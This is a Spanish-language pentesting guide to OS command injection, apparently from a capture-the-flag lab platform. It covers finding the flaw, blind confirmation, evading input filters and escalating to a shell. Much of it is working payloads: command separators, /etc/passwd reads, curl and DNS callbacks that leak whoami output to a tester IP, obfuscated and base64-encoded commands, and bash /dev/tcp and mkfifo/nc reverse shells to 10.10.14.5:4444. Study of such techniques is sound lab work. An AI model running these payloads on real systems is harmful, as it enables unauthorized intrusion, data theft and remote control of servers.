Inyección de comandos (OS command injection): detección, blind y bypass de filtros
Cómo encontrar una inyección de comandos en Linux y Windows, confirmarla a ciegas (tiempo, DNS, HTTP) y saltarse los filtros de espacios y palabras.
La aplicación coge algo que tú escribes y lo mete en un comando del sistema: un ping de diagnóstico, un conversor de ficheros, un comprobador de URLs, el nombre de un fichero que se comprime. Si no lo escapa bien, ejecutas lo que quieras. Hay unas 40 máquinas en el catálogo con inyección de comandos, y es una de las vías más directas a una shell.
Dónde buscarla
- Funciones que claramente llaman a una herramienta: ping, traceroute, nslookup, whois, comprobar si una web está activa, generar un PDF, convertir una imagen, descomprimir.
- Parámetros con nombres de fichero, de host o de dirección IP.
- Cabeceras que la aplicación registra o procesa (
User-Agent,X-Forwarded-For) en paneles internos. - Campos que acaban en scripts del servidor más tarde (un nombre de usuario que se usa en un cron).
Detectarla
Los separadores que unen comandos en cada shell:
| Separador | Linux (sh/bash) | Windows (cmd) | Qué hace |
|---|---|---|---|
; |
Sí | No | Ejecuta uno y luego otro |
&& |
Sí | Sí | El segundo solo si el primero funciona |
|| |
Sí | Sí | El segundo solo si el primero falla |
| |
Sí | Sí | Pasa la salida del primero al segundo |
& |
Sí (en segundo plano) | Sí | Ejecuta uno y luego otro |
Salto de línea (%0a) |
Sí | Sí | Termina el comando |
`cmd` / $(cmd) |
Sí | No | Sustitución: se ejecuta dentro del primero |
Empieza por algo que devuelva una salida reconocible:
127.0.0.1; id
127.0.0.1 | id
127.0.0.1%0aid
$(id)
`id`
127.0.0.1 & whoami
Truco
Si tu entrada va entre comillas en el comando (ping -c 1 "ENTRADA"), ciérralas primero: "; id; echo ". Si va como argumento de otra herramienta, a veces basta con una opción suya: -o /var/www/html/x.php en curl o wget es una inyección de argumentos, no de comandos, pero acaba igual.
Cuando no ves la salida (blind)
Lo más habitual. Necesitas una señal que llegue por otro lado:
# Tiempo: la respuesta tarda 5 s más
; sleep 5
& ping -n 6 127.0.0.1 & # Windows: unos 5 s
# Red: el servidor se conecta a tu equipo
; curl http://10.10.14.5/$(whoami)
; ping -c 2 10.10.14.5
& nslookup prueba.10.10.14.5.nip.io &
Para la señal de red, escucha en tu equipo con sudo tcpdump -ni tun0 icmp (ping) o python3 -m http.server 80 (HTTP). Si llega una petición, ya tienes ejecución: ve directamente a la reverse shell.
Si no hay salida a internet ni a tu IP, escribe la salida en un sitio que puedas leer:
; id > /var/www/html/static/x.txt
Saltarse los filtros
La chuleta de inyecciones web tiene la lista completa. Lo esencial:
# Sin espacios
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd
X=$'\x20';cat${X}/etc/passwd
# Palabras prohibidas (cat, whoami, bash...)
w'h'o'am'i
w"h"oami
wh\oami
/???/c?t /etc/passwd # comodines: /bin/cat
$(printf 'd2hvYW1p' | base64 -d)
# Barra prohibida
cat ${HOME:0:1}etc${HOME:0:1}passwd
# Todo junto: la reverse shell en base64
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0NDQgMD4mMQ== | base64 -d | bash
En Windows:
who^ami
powershell -enc <base64 en UTF-16LE>
El generador de PowerShell te da el -enc listo y el codificador convierte a base64, URL o hexadecimal.
De la inyección a una shell
nc -lvnp 4444
; bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f
Si la petición va por URL, codifica & como %26 y + como %2b, o Burp romperá el payload.
Errores típicos
- Funciona
idpero no la reverse shell: hay un cortafuegos de salida. Prueba puertos que suelen estar abiertos (80, 443, 53) o usa la escritura en la web. bashno existe: muchas imágenes Docker solo tienensh(busybox). Usa la variante conmkfifoync, opython3 -c.- Se ejecuta pero tarda un minuto: tu entrada se guarda y la procesa un script más tarde (un cron). Es normal; espera o busca el script.
Ejemplos del catálogo
Networked tiene una inyección en un script de cron a través del nombre de un fichero; Jarvis, una en un script de sudo con filtros que hay que saltar; Headless, una en un parámetro de fecha después de robar una cookie con XSS, y CozyHosting, una con un filtro de espacios que se salta con ${IFS}. Al final de esta página tienes el resto.
Y después
Con la shell, sigue la checklist de post-explotación. Si la aplicación pasa tu entrada a una plantilla en vez de a una shell, mira la guía de SSTI; si la mete en una consulta, la de inyección SQL.